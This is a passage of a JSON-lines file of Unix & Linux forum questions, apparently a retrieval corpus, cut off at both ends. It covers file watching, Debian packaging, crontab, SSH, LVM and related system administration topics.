behavior for `tail` and `head`?", "text": "Is there a way to `head`/`tail` a document and get the reverse output; because you don't know how many lines there are in a document? I.e. I just want to get everything but the first 2 lines of `foo.txt` to append to another document."} {"_id": "24026", "title": "How to run a command when a directory's contents are updated?", "text": "There is a directory A whose contents are changed frequently by other people. I have made a personal directory B where I keep all the files that have ever been in A. Currently I just occasionally run rsync to get the files to be backed up from A to B. However I fear the possibility that some files will get added in A, and then removed from A before I get the chance to copy them over to B. What is the best way to prevent this from occurring? Ideally i'd like to have my current backup script run every time the contents of A get changed."} {"_id": "64306", "title": "Run script when file is created", "text": "How do I run a script when a file is created in a certain directory? I am using an IDE to write a program which is run on a different computer. Every time the program is compiled it is copied onto the other computer to /tmp/myFile. The script sets up and runs the program but it I have to run it manually unless it listens for the file creation."} {"_id": "128817", "title": "Is it possible triggering a script with a change of amount of files in a directory?", "text": "Is it possible to create some kind of directory watcher and trigger a script when the folder is not empty? I have a CentOS machine with jenkins CI on it. i would like to create a job that will move all build artifacts to my web server folder each successful build. is it possible? I want to avoid timed triggered cronjob."} {"_id": "49067", "title": "FTP Upload Hook", "text": "> **Possible Duplicate:** > How to run a command when a directory's contents are updated? I need to be notified and perform other tasks when a file is uploaded onto my server. Is there any method/system call that will be triggered or anything that I can hook onto? I'm using vsftpd as my ftp server."} {"_id": "119151", "title": "Running a bash script each time a file is uploaded?", "text": "I have an FTP server (Debian) setup where users send JPG images. I need a process running on the background that every time a picture is sent via FTP a bash script is executed for generating thumbnail files for each image uploaded. I already have the script that generates the thumbnail, the problem is it needs to be executed manually, but what I want is the script to be executed each time an image file is uploaded. How can this work?"} {"_id": "53607", "title": "How to monitor specific files in unix", "text": "> **Possible Duplicate:** > How to run a command when a directory\u2019s contents are updated? Any one know how to monitor files in Unix. I want to take backup of that files when its modified and store it in another server."} {"_id": "123323", "title": "Why Ubuntu and Windows show different amount of free space", "text": "For all my NTFS partitions, Ubuntu always shows 1~2GB more free space than Windows. What's the cause of this? Will some of my files be overwritten just because Ubuntu thinks there is more free space than there actually is?"} {"_id": "123322", "title": "Some files under `/` are owned by UID `501`, is this dangerous?", "text": "I just noticed that that the directory `/usr` was owned by UID `501` on my system. Such a user does not exist on my system, as verified by looking at `/etc/passwd`. Have I suffered a security breach, or is there some more normal reason for this to happen?"} {"_id": "123320", "title": "bashrc that calls other bashrc depending on linux distro", "text": "I login to a system that reads my bashrc file and loads some software ready to use. I'd like to load a given bashrc file depending on the linux system that I am logging into. Specifically, if I am logging into a system with centOS 6, I'd like to load my centos6 bashrc: cat /etc/*-release CentOS release 6.4 (Final) LSB_VERSION=base-4.0-amd64:base-4.0-noarch:core-4.0-amd64:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-noarch CentOS release 6.4 (Final) CentOS release 6.4 (Final) and if I am logging into a system with centOS 5.7, I'd like to load my centOS 5.7 bashrc. cat /etc/*-release CentOS release 5.7 (Final) I am thinking along the lines of having 3 bashrc files in my home dir: .bashrc with an if condition such that if finds that I was logging in into centOS6 would run, source ~/.bashrc.centos6 and an else, such that if finds that I was logging in into centOS5.7 would run, source ~/.bashrc.centos5 So I guess my .bashrc code would look kind of like this: if cat /etc/*-release == \"CentOs release 6.4\" source ~/.bashrc.centos6 elif cat /etc/*-release == \"CentOs release 5.7\" source ~/.bashrc.centos5 I am still new to bash scripting so I have no idea how I'd do that and if its a god way to go to achieve my goal."} {"_id": "123329", "title": "Midnight Commander displays 'Unselect' dialog when I press F4 to edit a file", "text": "When I press F4 in Midnight Commander, I expect it to edit a file. It displays the 'Unselect' dialog instead. What could have caused it and how can I fix it? This may or may not be caused by my attempts to change the editor to `nano`"} {"_id": "123328", "title": "Why is the Debian package I've created for a single Python script empty?", "text": "I have a quite simple Python project that might be very useful for some people. So I thought about packaging it. The project is called `maptool` and is a tool that allows people who have Panasonic cameras to add GPS information to it (see repository). I did the following steps according to this video: 1. Created a folder `panasonic-maptool-1.0` with all the contents (`maptool.py`, a desktop launcher and an icon). 2. Created `.tar.gz` of this folder 3. Put the `.tar.gz` into the `panasonic-maptool-1.0` folder. 4. Run `dh_make -c mit -f panasonic-maptool-1.0.tar.gz` in that folder to create a \"single binary package\". 5. Inside of the `/debian` folder, I've adjusted `rules`, `control` and `copyright`. 6. Run `lumix_map_tool/panasonic-maptool-1.0$ fakeroot dpkg-buildpackage -F` But when I look at the package that was created, it is empty. Can anybody please explain why? All sources for the package creation are in the repository. One thing where I suppose I could have made an error is the rules file: #!/usr/bin/make -f icon = $(CURDIR)/maptool-icon.png script = $(CURDIR)/maptool.py launcher = $(CURDIR)/maptool.desktop DEST1 = $(CURDIR)/debian/maptool/usr/share/maptool DEST2 = $(CURDIR)/debian/maptool/usr/share/applications build: build-stamp build-stamp: dh_testdir touch build-stamp clean: dh_testdir dh_testroot rm -f build-stamp dh_clean install: build clean $(icon) $(script) $(launcher) dh_testdir dh_testroot dh_clean -k dh_installdirs mkdir -m 755 -p $(DEST1) mkdir -m 755 -p $(DEST2) install -m 666 $(icon) $(DEST1) install -m 777 $(script) $(DEST1) install -m 777 $(launcher) $(DEST2) # Build architecture-independent files here. binary-indep: build install dh_testdir dh_testroot dh_installchangelogs dh_installdocs dh_installexamples # dh_installmenu # dh_installdebconf # dh_installlogrotate # dh_installemacsen # dh_installpam # dh_installmime # dh_installinit # dh_installcron # dh_installman # dh_installinfo # dh_undocumented dh_installman dh_link dh_compress dh_fixperms dh_installdeb # dh_perl dh_gencontrol dh_md5sums dh_builddeb # Build architecture-dependent files here. binary-arch: build install # We have nothing to do by default. binary: binary-indep binary-arch .PHONY: build clean binary-indep binary-arch binary install"} {"_id": "7128", "title": "unable to mount smb share in fedora 14 through nautilus connect to server", "text": "I'm unable to mount smb share on my university network. Trying through the nautilus connect to server dialog just brings the password dialog up repeatedly. I'm able to mount the share using mount.cifs as root, but it'd be great to mount it through nautilus as well. More specifically, no matter how many times I try, I get the dialog telling me: > Password required for share courses on courses.its.carleton.edu"} {"_id": "7126", "title": "How to remove multiple lines per occurrence in a file?", "text": "Say I have this 857835 line file, containing stuff like this: a1 rubbish1 rubbish2 rubbish3 rubbish4 a1 rubbish5 rubbish6 rubbish7 rubbish8 And I wish to remove all occurences of `a1` and the next line (`rubbish1` and `rubbish5` in this example). How do I do it? I've tried `grep 'a1' -v -A1` to no avail, and my sed skillz are not really great :} My Google-fu has not been able to help me this time, someone please help!"} {"_id": "7124", "title": "re-entrency of interrupts in Linux", "text": "I was reading \"Linux device drivers, 3rd edition\" and don't completely understand a part describing interrupt handlers. I would like to clarify: * are the interrupt handlers in Linux nonpreemptible? * are the interrupt handlers in Linux non-reentrant? I believe I understand the model of Top/Bottom halves quite well, and according to it the interrupts are disabled for as long as the TopHalf is being executed, thus the handler can't be re-entered, am I right? But what about high priority interrupts? Are they supported by vanilla Linux or specific real-time extensions only? What happens if a low priority interrupt is interrupted by high priority one?"} {"_id": "7122", "title": "Does LVM impact performance?", "text": "I have to migrate a few servers to Linux, and one important aspect that I need to evaluate is that my new host system must have elastic storage capacity. Naturally, doing some basic research, I came across LVM. Is there any performance penalty for using lvm? If so, how can I measure it? What I am considering right now is to have Linux as a host OS with LVM and virtualized Linux boxes running on top of it (should I add LVM on the guest OS as well?)."} {"_id": "7123", "title": "shell scripts that respond to console output", "text": "_Disclaimer:: I am not an active shell scripter_ How does one create a script that responds to console output? For instance, I'm trying to setup a cron that periodically svnsync 's changes to my repository to a backup server every midnight. The problem is, in order to sync, it prompts for authorization credentials. svnsync sync accepts no options to specify a login thus a simple cron command is out. I believe I can launch a script but I'm trying to figure out how to make it respond to console output. For instance: ken@server:~$ svnsync sync https://svn3.backup.net/svn/mirror Authentication realm: backup.net Subversion Backup Password for 'ken': ****** Username:****** Password for '':****** where `***< message >***` is the action I want the script to respond to."} {"_id": "7121", "title": "CentOS 5.5 Install Customization", "text": "I'm having a frustrating time with customizing my initial CentOS 5.5 installation. I want to have a specific set of the packages installed (e.g. I want Java and httpd but not OpenOffice or NewsServer) but each time I carefully go through all the customization screens on installation it seems to somewhat randomly select and deselect other options. I'm trying to write up a repeatable step-by-step doc but something isn't right. I've tried picking just \"Desktop - Gnome\" or \"Server GUI\" or even none of them. Then I choose the \"Customize now\" option and go through each of the packages that I want. What's odd is what comes out after the reboot is different each time. Does it matter which default package group I choose if I'm going to customize the lists? Another oddity happens if I try to customize after the fact. For instance, if I try to just remove OpenOffice, it removes Gnome as a side-effect. I didn't uncheck the Gnome box but it appears that since OpenOffice is dependent upon Gnome, it gets removed as well. This implies that I need to do a minimal install and build it up as needed. Am I missing some core metaphor that the installer is using? I'm using the exact same DVD image each time so I'm confused why I'm having such different results. Also I'm using the graphical installation mode. Ideally I'd be able to create a kickstart config from a good install. Any pointers would help."} {"_id": "37627", "title": "Delete files of certain size range", "text": "I want to delete files which size is between certain values. For example I have the following list of files: -rw-r--r-- 1 smsc sys 558 Apr 30 13:07 stats.sfe.1.20120430130513.xml.Z -rw-r--r-- 1 smsc sys 388 Apr 30 15:32 stats.sfe.1.20120430153013.xml.Z -rw-r--r-- 1 smsc sys 386 Apr 30 15:36 stats.sfe.1.20120430153513.xml.Z -rw-r--r-- 1 smsc sys 389 Apr 30 15:42 stats.sfe.1.20120430154013.xml.Z -rw-r--r-- 1 smsc sys 390 Apr 30 16:02 stats.sfe.1.20120430160013.xml.Z -rw-r--r-- 1 smsc sys 385 Apr 30 16:12 stats.sfe.1.20120430161013.xml.Z From the above list, I want to delete only the files which size varies between **386b** and **390b**. I know that I can use the following command to delete files which size exceed certain ``: find . -size +-delete But how can I add one more boundary for files which size is less than a given value?"} {"_id": "37626", "title": "Any tool for inspecting GTK3 elements?", "text": "gtkparasite is great for GTK2, but unfortunatelly it can't do GTK3 applications. Is there any alternative?"} {"_id": "37625", "title": "How to install .tar.bz and .tar.bz2 packages?", "text": "I would like to know how to install .tar.bz and .tar.bz2 packages on Debian, please give me a complete explanation."} {"_id": "37624", "title": "Linux workstations intermittently lose internet connections", "text": "About three months ago, a strange phenomenon started happening in our network. Firstly, let me describe the network layout (only the details which I think I'll be allowed to divulge): * We have a router which establishes a VPN connection over the internet to our client's network. * Checkpoint is used for the VPN connection * I don't know the exact model of the router. But our IT admins refer to it as the \"Nokia firewall\" * Workstations set their gateway to the router's IP address and that gives them both internet and VPN access. So there's the problem: About four months ago, Linux workstations intermittently lose internet and VPN connections. This does not happen to Windows workstations. The problem appears to only plague the ones running on Linux. We can see that packets gets sent to the gateway but no response is received. This lasts for about 3-5mins and then internet and VPN connectivity is reestablished. We fail to see any pattern on the occurrence. The said problem reoccurs at intervals ranging from a few seconds up to a few hours. To rule-out the Linux workstations as being the problem, we tried switching a couple of them to a different gateway. A plain router (let's call it GateWay-B). The problem does not occur when a different gateway is used. One thing I did was to setup the IP tables so that: * All packets bound to workstations over the VPN, use the \"Nokia/checkpoint\" gateway * All other packets use another gateway; GateWay-B. With this, I no longer loose internet connection. However, the VPN connection remains intermittent. Question: Does anyone have an idea what the problem is? Is it possible for a gateway to determine the OS where an incoming packet came from?"} {"_id": "37620", "title": "recover mysql databases after reinstall debian", "text": "I've recently reinstalled my Debian server but forgot to backup mysql databases which were in folder /var/lib/mysql. I need to recover them and tried to use PhotoRec but I can't find the mysql databases there. I have shutdown my server for the moment so it doesn't deteriorate the recovering process. Is there any better way to do that, perhaps something with more chance of success? Thank you so much!!"} {"_id": "108363", "title": "How to trace calls to library from library?", "text": "I have an program that calls libcurl, and libcurl calls libgssapi_krb5. If I want to debug calls to libcurl, then ltrace works. But now I want to debug calls to libgssapi_krb5, then `ltrace my_program` does not give out anything."} {"_id": "42052", "title": "How to tweet using terminal?", "text": "I would like to tweet a message using terminal. I tried something like: curl -u 'TwitterUsername':'TwitterPassword' -d status=\u201dYour Message Here\u201d https://twitter.com/statuses/update.xml but seems this isn't working anymore. I get a error like this one: Basic authentication is not supported So, how could we tweet from the terminal? PS.: my motivation to this is because I use the Yakuake terminal a lot, and it would be awesome to tweet from there."} {"_id": "81473", "title": "How to test that X11Forward is working or not?", "text": "X11Forwarding yes was enabled and sshd reloaded. But how can I test that X Forwarding works or not? xclock is not installed. Perl and python-base is installed, are there any tricks ex.: pop-up a GUI window with Perl? 'echo $DISPLAY' doesn't displays anything."} {"_id": "84541", "title": "Binding single key (such as 'F1') to multiple keys (such as 'Ctrl+C') in Gnome", "text": "I know how to map a single key to a command using the gconf settings. I also know how to map a single key to another key (`F1` -> `ctrl`) using Xmodmap. My question is how can I map a single key such as `F1` to a multi-key operation such at `ctrl`+`c`. I am basically trying to set up a single key to simulate copy. I can think of two ways to possibly do this: * Map single key to multiple keys so that when the single key is pressed it is essentially pressing `ctrl`+`c`. * Use gconf settings to execute the copy \u201ccommand\u201d upon the single key press. I am not sure if there is a \u201ccommand\u201d to copy text."} {"_id": "84546", "title": "Preventing script execution and file downloads in a directory?", "text": "I have a directory on my website where I'm storing files uploaded by users. I use a whitelist for uploaded file types and also save the files with hashed names, but from what I've read another good security precaution is to stop script execution in the directory. I also want to prevent files in the directory from being directly accessed since I don't want users to be able to download files that aren't theirs. My server runs Linux with Apache. Is the following .htaccess file correct for what I'm trying to achieve? order deny,allow deny from all SetHandler None "} {"_id": "120482", "title": "RHEL7 text-only installation", "text": "I want to install RHEL7 in purely text-only mode. Although I added the `inst.text` and `inst.cmdline` kernel option (since I want it to install from kickstart) it still requires more than a console as it is pushing its output through the framebuffer. Is there a way to force it to disable the framebuffer entirely and have everything visible to a plain console in text on Red Hat 7? There seems to be no `nofb` option."} {"_id": "81471", "title": "Courier IMAP - Account's mailbox directory is not owned by the correct uid or gid", "text": "so i poked around and found out that `DEFDOMAIN=\"@domain.se\"` is messing things up, so i removed that from `/etc/courier/imapd` and i got to the point where `SMTP` work and i get this from the `IMAP`: Jul 2 13:23:10 HOST authdaemond: Authenticated: sysusername=anton, sysuserid=, sysgroupid=20001, homedir=/storage/vmail/anton, address=anton, fullname=Anton, maildir=, quota=, options= Jul 2 13:23:10 HOST authdaemond: Authenticated: clearpasswd=MyPasswd, passwd=$3e$04$AC1c10x0A3etWCJFrla.Rl2sevNhq24yXYxrq8IN7mEeGI20. Jul 2 13:23:10 HOST imapd-ssl: anton: Account's mailbox directory is not owned by the correct uid or gid But i'm not sure why because: # ls -l /storage/vmail/ -rw-r--r-- 1 vmail vmail 22 Mar 13 01:06 .Xdefaults -rw-r--r-- 1 vmail vmail 773 Mar 13 01:06 .cshrc -rw-r--r-- 1 vmail vmail 398 Mar 13 01:06 .login -rw-r--r-- 1 vmail vmail 113 Mar 13 01:06 .mailrc -rw-r--r-- 1 vmail vmail 218 Mar 13 01:06 .profile drwx------ 2 vmail vmail 512 Jun 30 10:44 .ssh drwxr-xr-x 3 anton anton 512 Jun 30 10:44 anton my `/etc/courier/imapd` says: MAILDIRPATH=/storage/vmail But i've also tried: MAILDIRPATH=Maildir And `/etc/passwd` states: # cat /etc/passwd | grep anton anton:*:20001:20001:Anton:/storage/vmail/anton:/sbin/nologin Where am i going wrong?"} {"_id": "93781", "title": "Reversing the value key pairs of array using sed or pattern replacement or brace expansion?", "text": "#!/bin/bash arr=(a b c d) declare -A brr for i in ${!arr[@]} do brr[${arr[$i]}]=$i done echo ${brr[@]} #0 1 2 3 Is there any way to reverse the values and key pairs using `sed` or any other command. I think I would have to just **do some pattern change of text instead of using bash loops** , perhaps something like. brr=($(echo ${!arr[@]} | sed commands)) so that the new array becomes like `brr=([a]=0 [b]=1 [c]=2 [d]=3)` if I use brace expansion it can come up to this point: #!/bin/bash arr=(a b c d) declare -A brr var=${arr[@]} var=${var// /,} brr=$(eval echo [{$var}]=) echo $brr #[a]= [b]= [c]= [d]= now I just need to add the keys 0,1,2,3 **EDIT** : I was able to do it but can I make it shorter and simpler especially the `sed` lines #!/bin/bash arr=(a b c d) declare -A Rev var=${arr[@]} #var is equal to a b c d var=${var// /,} #var is equal to a,b,c,d after adding , for space brr=$(eval echo Rev[{$var}]=) #brr equal to Rev[a]= Rev[b]= Rev[c]= Rev[d]= #NOW I NEED TO CHANGE #Rev[a]= Rev[b]= Rev[c]= Rev[d]= #to #Rev['a']=0;Rev['b']=1;Rev['c']=2;Rev['d']=3 r=\"$(echo $brr | sed 's/ /\\n/g' | sed '/./=' | sed '/./N; s/\\n//' | sed 's/\\(^[0-9]\\{1,\\}\\)\\(.*\\)/\\2$(echo \\1 - 1 | bc)/' | tr '\\n' ';' | sed \"s/\\[/\\[\\'/g;s/\\]/\\'\\]/g\")\" #pipe the output of echo(Rev[a]= Rev[b]= Rev[c]= Rev[d]=) to sed #convert space to newlines #add line numbers #put the line numbers adjacent to the values Rev[a],Rev[b],Rev[c],Rev[d] like # 1rev[a]= # 2Rev[b]= # 3Rev[c]= # 4Rev[d]= #change 1Rev[a]= format to Rev[a]=1 #convert newlines to ; looking like Rev[a]=0;Rev[b]=1;Rev[c]=2;Rev[d]=3 #put quotes around the keys Rev['a']=0;Rev['b']=1;Rev['c']=2;Rev['d']=3 eval $r echo ${Rev[@]} #0 1 2 3 echo ${!Rev[@]} #a b c d"} {"_id": "83011", "title": "How can I mimic `sudo su - user` in a script?", "text": "I need to deploy my app to server called `lovelyplace` by a Fabric script. Unfortunately, the server's setup is horrible, but I can do nothing about it - I have to live with it. There is one non-root user I can use for ordinary stuff, let's name her `alice`. Then there is another user, let's name him `bob`. `bob` has root privilegies. The admin who prepared the server installed all stuff to places where one can operate only as root, so `bob` is needed for practically everything I do. I have a password only for `alice`'s account. I have no password for `bob`, but I was told I can use his powers by typing `sudo su - bob` and then doing stuff. And that's true - in a shell I can do this (with no password prompts!) and then I am logged in as `bob` and I can do anything. However, I need to do this non-interactively, in a script. Something like `sudo su - bob && whoami`. But I could not come up with any other way to gain `bob`'s power: E.g. `sudo su -c whoami bob` results in `[sudo] password for alice:` and then `Sorry, user alice is not allowed to execute '/bin/bash' as bob on lovelyplace.` I tried many combinations of `su`, `sudo`, etc., but the result is always the same - password prompt and after that, rejection. I need to come up with the way to programmaticaly log in to the server as `alice` and then execute stuff as `bob`. I need a non-interactive one liner similar to `sudo whoami`, which would print out `bob`. Otherwise I am not able to deploy my app by script. Any suggestions how to mimic this strange `sudo su - bob` in script? **UPDATE:** `bob` does not have the same powers as root. He can't read sudoers, etc., so he has more privileges than `alice`, but apparently not that much to adjust root settings."} {"_id": "592", "title": "Is there a graphical front end to the Solaris Service Management Facility?", "text": "I have a few service errors at startup on an opensolaris installation that I keep put off fixing since I would need to figure out the line commands again. Is there an easier to use front end?"} {"_id": "595", "title": "Xterm is not completely erasing field lines", "text": "We are running Windows Clients with Cygwin XServer that has a bash script application running on AIX Unix. We have a login script using expect to ssh into the server and then xterm to create the client terminal. This is working fine except on any form screen, after the fields are updated and the `______` line is erased a single `.` is left at the end. I tried different fonts and sizes but no matter what I do, that single `.` is left after the line is erased. Any ideas?"} {"_id": "85517", "title": "Is there a way to tar multiple files in a directory (Linux/Unix)?", "text": "Is there a fairly simple way to `tar` several (specific) files in a directory? For example let's say the following is a directory: -rw-r--r-- 1 allend bin 98 Jul 20 15:50 scriptlog.log -rw-r--r-- 1 allend bin 19533 Jul 29 21:47 serveralert.log -rwxr--r-- 1 allend bin 1625 Jul 29 21:47 orion -rw-r--r-- 1 allend bin 24064 Jul 29 21:49 orion_files.tar -rwxr--r-- 1 allend bin 156 Aug 4 21:22 htmltest -rw-r--r-- 1 allend bin 131 Aug 4 21:23 page.html What if I only want to `tar` the files `serveralert.log` and `page.html`?"} {"_id": "598", "title": "Can I connect to or view abandoned ssh sessions?", "text": "I have a virtual instance of redhat running that I can `ssh` to from any host on the corporate network. My `ssh` session was dropped while running some scripts that may or not have caused me to disconnect. The `who` command locally still lists the dropped connection. Reconnecting with `ssh` starts a whole new session. Is there a way to connect to the original session? If not can I kill it? I have root and physical access. I was not using screen in the original session."} {"_id": "109080", "title": "Was my Unix server compromised?", "text": "Someone asked if this constituted a break-in and wondered if their server had been compromised. > Jan 12 04:16:51 foo sshd[26725]: Failed password for root from 61.174.51.207 > port 1076 ssh2 > Jan 12 04:16:54 foo sshd[26822]: Disconnecting: Too many authentication > failures for root > Jan 12 04:16:54 foo sshd[26825]: Failed password for root from > 61.174.51.207 port 1076 ssh2 > Jan 12 04:16:54 foo sshd[27324]: PAM 5 more authentication failures; > logname= uid=0 euid=0 tty=ssh ruser= rhost=61.174.51.207 user=root \"secure\" > 229L, 24376C How does one go about diagnosing whether their server was compromised?"} {"_id": "40638", "title": "How to do I convert an animated gif to an mp4 or mv4 on the command line?", "text": "What command would I use to convert an mp4 or mv4 video file to an animated gif, and vice versa. That is, convert a animated gif to a mp4 or mv4."} {"_id": "44998", "title": "How do I get Fedora 17 boot media to boot my laptop?", "text": "I have been using Ubuntu since Ubuntu 11.10 came out. I was very satisfied with how Ubuntu has evolved over the past few years, but now I would like to try out Fedora 17 since that has been out for a while simply for a change. I first had Windows 7 and Ubuntu on a dual boot; however, I got rid of the dual boot and installed Ubuntu 12.04 (32-bit recommendation) from a CD as my primary operating system. My problem is, now that Ubuntu 12.04 LTS is my primary operating system, how can I install Fedora 17 in its place? I downloaded the Fedora 17 iso file (64-bit) and installed it on both a CD and USB, but I cannot get it to run from either. I investigated the problem and tried going into my BIOS by pressing f2 to make the USB the primary boot; however, this didn't work either. When I put the USB first in boot order, I receive a message that states \"bootmgr is missing, press ctl+alt+del to restart\". I've searched all over the internet in hopes of figuring out a way to fix this, but to no avail. Also, I have tried pressing f12 to pick the CD to boot from, but this option is nonexistent (I remember when I had Windows 7 that it was an option though). If anyone needs any more information about my situation, please don't hesitate to ask. If it helps at all, I'm working with a Lenovo Ideapad Z560. Also, let me make it clear that I want to remove Ubuntu 12.04 LTS from my laptop completely and replace it with Fedora 17; I do not want a dual boot of Fedora and Ubuntu."} {"_id": "71481", "title": "Use socks proxy for commands in terminal", "text": "I connect to a remote ssh server by running this command: ssh -D 12345 bob@myserver.com This creates a socks proxy that I can use with Firefox to bypass censorship in my country. However, I can't take advantage of it to in the command line. Let's say my country blocks access to youtube. How can I use the ssh connection to run a command such as: youtube-dl youtube.com/watch?V=3XjwiV-6_CA Without being blocked by the government? How I can set a socks proxy for all terminal commands?"} {"_id": "71480", "title": "Strange crontab-script interaction (bash)", "text": "I'm running Ubuntu 12.04 and bash. I've written a pair of shell scripts that allow me to set an alarm which, after ringing, unsets itself. The first, `alarmset`, allows me to enter a time and modifies the alarm line in my user crontab. That line launches the second script, `alarmring`, which launches a radio player in a browser window and then comments out the alarm line in the crontab. `alarmring` is behaving strangely. If I run it myself directly, it performs both actions: it launches the browser window and edits the crontab. But if I run `alarmset`, when the crontab launches `alarmring` at the appointed time, `alarmring` edits the crontab, but does not launch the browser window. Finally, when crontab runs `alarmring`, it ignores the `set -x` command, whereas when I run it directly, `set -x` is executed. So it's as though the crontab is skipping the first ten lines. Any ideas on what's going on? I'll paste the two scripts and the crontab below. **alarmset:** #!/bin/bash # alarmset set -x usage() { echo \"alarmset [ hour minute | -h ]\" } editcrontab() { echo $'/alarmring/s/^\\(.*\\)\\(\\* \\* \\*\\)/'$2$' '$1$' \\\\2/' > ~/Documents/crontab_script.txt crontab -l | sed --file=/home/username/Documents/crontab_script.txt > ~/Documents/new_crontab.txt crontab ~/Documents/new_crontab.txt } ### MAIN case $# in 2 ) editcrontab $1 $2 ;; * ) usage exit ;; esac set +x **alarmring:** #!/bin/bash # alarmring set -x env DISPLAY=:0 # Ring the alarm : launch BBC World Service in Firefox firefox --new-window http://www.bbc.co.uk/radio/player/bbc_world_service # Unset the alarm : comment out the alarm line in the crontab crontab -l | sed '/alarmring/s/^/#/1' > ~/Documents/new_crontab.txt crontab ~/Documents/new_crontab.txt set +x **crontab:** SHELL=/bin/bash PATH=~/bin:/usr/bin:/bin # # m h dom mon dow command 53 07 * * * /home/username/bin/alarmring"} {"_id": "44992", "title": "package require XXXX tcl", "text": "I have to install a program but it always fails. When I try package require XXX, it return \"can't find package XXX\". I have a folder with the setup files in it, among which there is a pkgIndex.tcl, I have been looking online about package and pkgIndex.tcl but I cannot find any clear explanation. All this is a bit confusing for me..."} {"_id": "40630", "title": "Is there a way to specify a name for \"/etc/apt/sources.list\" file?", "text": "Can the location for APT sources, named **/etc/apt/sources.list** , be named differently (e.g. **/foo/my-renamed-apt-sources-file** \"), without breaking APT (i.e. via some configuration)?"} {"_id": "40631", "title": "Installing Unity or Gnome 3 in Debian", "text": "I am using Debian 6 .I would like to install any of Unity or Gnome 3 desktop Environments . so guide me how could i do that ?"} {"_id": "40636", "title": "understand if systray displayed in a desktop environment", "text": "I'm author of a couple off apps that make use of systray. Recently, since in some desktops only the indicator is supported (see ubuntu unity), I introduced a check and if indicator is supported the app uses indicator in place of systray. try: import appindicator HAS_APPINDICATOR = True except: HAS_APPINDICATOR = False which works pretty good, the problem is that I still would like to use systray in place of indicator if systray is supported. Is there a way to understand if systray is supported/not blocked from the current desktop environment?"} {"_id": "40634", "title": "In Ubuntu, is there a way to virtually merge two folders without unionfs or aufs?", "text": "I've got a source control system at work that I can't modify which scatters a bunch of files in unfortunate places. My IDE expects these folders to be in a single unified location. Normally I'd just symlink the shit out of everything, but to make things worse, some of the folders must be recursively merged. I have a guarantee that there are no overlapping filenames, but we're talking about thousands of files, more than I'll do by hand. I've looked into unionfs and aufs, but it's a corporate machine, so no mucking about with the kernel (not to mention the \"getting started\" docs for these wang chung). Is there another way to do this?"} {"_id": "44994", "title": "xfce4 device automount / xfce4-gvfs-mount", "text": "I'm not sure how to fix my auto mount problem with xfce4. I have asked on here before but since my system went threw some hell it seems to be a different problem. This is what would be in the /var/log/messages file after I plug in my usb drive Jun 26 15:19:41 core dbus[9204]: [system] Activating service name='org.freedesktop.ConsoleKit' (using servicehelper) Jun 26 15:20:06 core dbus[9204]: [system] Failed to activate service 'org.freedesktop.ConsoleKit': timed out [I'm running gentoo] Now I get this... (no more dbus error and I'm not sure what is happening) Aug 7 21:24:31 core kernel: [883400.930642] ehci_hcd 0000:00:16.2: GetStatus port:2 status 001803 0 ACK POWER sig=j CSC CONNECT Aug 7 21:24:31 core kernel: [883400.930661] hub 3-0:1.0: port 2, status 0501, change 0001, 480 Mb/s Aug 7 21:24:31 core kernel: [883401.034095] hub 3-0:1.0: debounce: port 2: total 100ms stable 100ms status 0x501 Aug 7 21:24:31 core kernel: [883401.085055] ehci_hcd 0000:00:16.2: port 2 high speed Aug 7 21:24:31 core kernel: [883401.085060] ehci_hcd 0000:00:16.2: GetStatus port:2 status 001005 0 ACK POWER sig=se0 PE CONNECT Aug 7 21:24:31 core kernel: [883401.136023] usb 3-2: new high-speed USB device number 24 using ehci_hcd Aug 7 21:24:32 core kernel: [883401.505080] ehci_hcd 0000:00:16.2: port 2 high speed Aug 7 21:24:32 core kernel: [883401.505096] ehci_hcd 0000:00:16.2: GetStatus port:2 status 001005 0 ACK POWER sig=se0 PE CONNECT Aug 7 21:24:32 core kernel: [883401.805130] usb 3-2: default language 0x0409 Aug 7 21:24:32 core kernel: [883401.806266] usb 3-2: udev 24, busnum 3, minor = 279 Aug 7 21:24:32 core kernel: [883401.806268] usb 3-2: New USB device found, idVendor=154b, idProduct=0048 Aug 7 21:24:32 core kernel: [883401.806270] usb 3-2: New USB device strings: Mfr=1, Product=2, SerialNumber=3 Aug 7 21:24:32 core kernel: [883401.806272] usb 3-2: Product: USB 2.0 FD Aug 7 21:24:32 core kernel: [883401.806274] usb 3-2: Manufacturer: PNY Technologies Aug 7 21:24:32 core kernel: [883401.806275] usb 3-2: SerialNumber: AAB11C0300000270 Aug 7 21:24:32 core kernel: [883401.806332] usb 3-2: usb_probe_device Aug 7 21:24:32 core kernel: [883401.806335] usb 3-2: configuration #1 chosen from 1 choice Aug 7 21:24:32 core kernel: [883401.806505] usb 3-2: adding 3-2:1.0 (config #1, interface 0) Aug 7 21:24:32 core kernel: [883401.806542] usb-storage 3-2:1.0: usb_probe_interface Aug 7 21:24:32 core kernel: [883401.806546] usb-storage 3-2:1.0: usb_probe_interface - got id Aug 7 21:24:32 core kernel: [883401.806616] scsi31 : usb-storage 3-2:1.0 Aug 7 21:24:32 core kernel: [883401.806684] drivers/usb/core/inode.c: creating file '024' Aug 7 21:24:33 core kernel: [883402.895675] scsi 31:0:0:0: Direct-Access PNY USB 2.0 FD 8192 PQ: 0 ANSI: 0 CCS Aug 7 21:24:33 core kernel: [883402.895799] sd 31:0:0:0: Attached scsi generic sg2 type 0 Aug 7 21:24:33 core kernel: [883402.896415] sd 31:0:0:0: [sdb] 15663104 512-byte logical blocks: (8.01 GB/7.46 GiB) Aug 7 21:24:33 core kernel: [883402.897293] sd 31:0:0:0: [sdb] Write Protect is off Aug 7 21:24:33 core kernel: [883402.897296] sd 31:0:0:0: [sdb] Mode Sense: 43 00 00 00 Aug 7 21:24:33 core kernel: [883402.898304] sd 31:0:0:0: [sdb] No Caching mode page present Aug 7 21:24:33 core kernel: [883402.898307] sd 31:0:0:0: [sdb] Assuming drive cache: write through Aug 7 21:24:33 core kernel: [883402.901831] sd 31:0:0:0: [sdb] No Caching mode page present Aug 7 21:24:33 core kernel: [883402.901841] sd 31:0:0:0: [sdb] Assuming drive cache: write through Aug 7 21:24:33 core kernel: [883402.902926] sdb: sdb1"} {"_id": "52411", "title": "Why does this fail as crontab but works as script", "text": "> **Possible Duplicate:** > What\u2019s wrong with these two cron job\u2019s? I want to print a formatted output from a file containing lines of date, time, long number, and long number. I set `LC_NUMERIC` to UTF and use the `%'d` flag characters to produce numeric grouping of thousands. The following line in crontab produces an error of /bin/sh: -c: line 0: unexpected EOF while looking for matching `\"' when the cronjob runs. @daily LC_NUMERIC=en_US.UTF-8 /usr/bin/printf \"%s %s %'d 